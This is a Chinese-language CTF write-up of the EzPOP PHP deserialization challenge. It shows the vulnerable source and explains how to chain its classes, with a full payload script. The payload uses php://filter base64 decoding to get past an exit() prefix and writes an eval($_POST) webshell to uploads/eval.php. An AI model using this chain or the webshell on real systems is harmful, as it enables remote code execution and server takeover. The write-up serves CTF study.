[EIS 2019]EzPOP
[EIS 2019]EzPOP
考点:
base64加密,解密的时候按4个的倍数
然后数组里面含有 php代码也可以执行
然后学到了解题思路,逆推然后找各个变量的初始值
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {//
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);//得到公共的数组元素
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);//cache也是没有定义的
return json_encode([$cleaned, $this->complete]);//complete也没定义 返回的是json解析数据
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);// expire key也没定义
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];//漏洞点
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
啊又是php反序列化的题目,这么长看的属实头疼。。。进去分析
通常套路直接找链子的尾部,可能执行代码的地方
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
死亡绕过exit,把这段代码进行base64加密就可以,然后把filename控制为php://filter解码base64读取
思路确定,看一下filename 、data是否可控
filename-->
$filename = $this->getCacheKey($name);---> return $this->options['prefix'] . $name;---> 这里的name 是 $this->可控 并且options['prefix']也是可控的
$data->
$data = $this->serialize($value); -> 并且serialize在程序中进行了重写
$serialize = $this->options['serialize'] 这个控制
这里面的$value是我们传入的$contents
而这个$contents就是调用返回的$contents = $this->getForStorage(); json数据
return json_encode([$cleaned, $this->complete]);
这里面的complete也是可以控制的
列出来的一些细节
<?php
function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
$a = array();
$b = '<?php eval($_POST["cmd"]);?>';
echo json_encode([clearstatcache($a), $b]);
?>
结果为<?php eval($_POST[\"cmd\"]);?>引号被转义了所以加了一次base64编码
我一直想不明白的一个点就是
[null,"<?php eval($_POST[\"cmd\"]);?>"]
这里返回的是json数据,然后我们是把这个写入文件中的,
本地尝试发现这样竟然可以打通
payload
<?php
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store,$key,$expire)
{
$this->key=$key;
$this->expire=$expire;
$this->store=$store;
}
}
class B{
public $option;
}
$b=new B();
$b->options['serialize']='base64_decode';
$b->options['data_compress']=false;
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=uploads/';
$a=new A($b,'eval.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('abc'.base64_encode('<?php @eval($_POST["a"]); ?>'));
//必须添加三个字符使得shell之前的字符串进行base64解码时不影响到shell
echo urlencode(serialize($a));
为什么base_encode拼接 'abc'
这里还要了解base64解码特点,base64解码的合法字符只包括[a-zA-Z1-9]+/这64个字符;
1、编码时:把明文每8位按6位查表转码,不足的位数用=补0
2、解码时:忽略[",:等64个字符之外的字符,然后逆运算就行
所以要求编码为4的倍数,由于shell前面的字符串中存在的base64编码有效字符只有php//000000000000exit21个字符,因此应该在shell前补上3个有效字符
直接/?data=生成的字符串,然后自动创建了/uploads/eval.php,直接链接webshell,